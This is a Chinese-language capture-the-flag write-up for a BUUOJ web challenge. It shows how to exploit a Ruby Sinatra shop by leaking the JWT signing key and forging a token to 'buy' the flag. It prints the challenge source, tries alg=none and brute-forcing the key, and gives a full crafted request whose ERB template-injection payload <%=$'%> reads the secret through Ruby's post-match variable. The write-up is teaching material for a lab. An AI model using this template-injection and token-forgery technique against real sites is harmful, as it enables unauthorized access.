看下题,发现是要买flag,先抓个包看看
Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJiZjJkYzQwMy04MDFlLTQxZDctYTk1OS03NDdkOGMzNTEwODkiLCJqa2wiOjIwfQ.BhFhXELhU04M0Y0LyHhjkaKPlOo1fkXeCY9iG4p5H2s
使用了JWT,解码下看看
将alg字段修改为none,将jkl字段修改为1000000000000000000000000001,再放包
提示Internal Server Error,看来没法这么简单的无签名绕过。由于该JWT使用的哈希算法是HS256,为对称加密,尝试用jwt-cracker爆破密钥。发现短时间跑不出来,不可行。
扫一下目录,发现robots.txt,这里面又有/filebak,进入/filebak目录可以看到源码
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
是用Ruby写的,其中有一行危险代码
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
这里将name参数的前7位未经任何过滤就直接用ERB模板渲染,存在模板注入漏洞。
但这里我们可控的只有七位,还需要算上ERB模板的格式<%=%>,这样一来我们可控的就只有两位了。
两位听上去很少,但Ruby语言中存在预定义变量这个东西
再去看一下源码,可以看到在渲染模板这部分的上面,存在一个ENV["SECRET"]与SECRET参数的正则匹配,正好预定义变量中有这样一个东西:
$'
The string to the right of the last successful match.
SECRET参数是我们可控的,我们可以构造一个空的SECRET,来命中ENV["SECRET"]的开头,这样一来“The string to the right of the last successful match.”就是完整的ENV["SECRET"]了,我们可以在下面部分的ERB模板注入中构造<%=$'%>来获取到ENV["SECRET"],即密钥,来伪造JWT。
抓包拦截下/work的报文,构造后重放
GET /work?name=%3c%25%3d%24%27%25%3e&SECRET=&do=%3c%25%3d%24%27%25%3e%20is%20working HTTP/1.1
Host: 3386b445-7f36-4794-a767-44ae0d91c9bd.node5.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: */*
Referer: http://3386b445-7f36-4794-a767-44ae0d91c9bd.node5.buuoj.cn/shop
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI2YTQxMzFmZS04ODljLTQ4ODItYTgwYy0wNDUzNzRkYWZiZWYiLCJqa2wiOjIwfQ.qbnxHyCcfwKPymWMRYTfT6LIQksMHRccFf8Zm9-x1M0
Connection: close
这里name和bot直接使用<%=$'%>会引发服务器400,我们尝试url编码,发现能够收到回显
返回了JWT的密钥,我们拿去给伪造的JWT签名(伪造的JWT中jkl字段的值要大于题目的flag价格)
伪造好JWT后,重放,在返回包的Set-Cookie头部中包含了base64后的flag,解码,成功拿flag。
Comments | NOTHING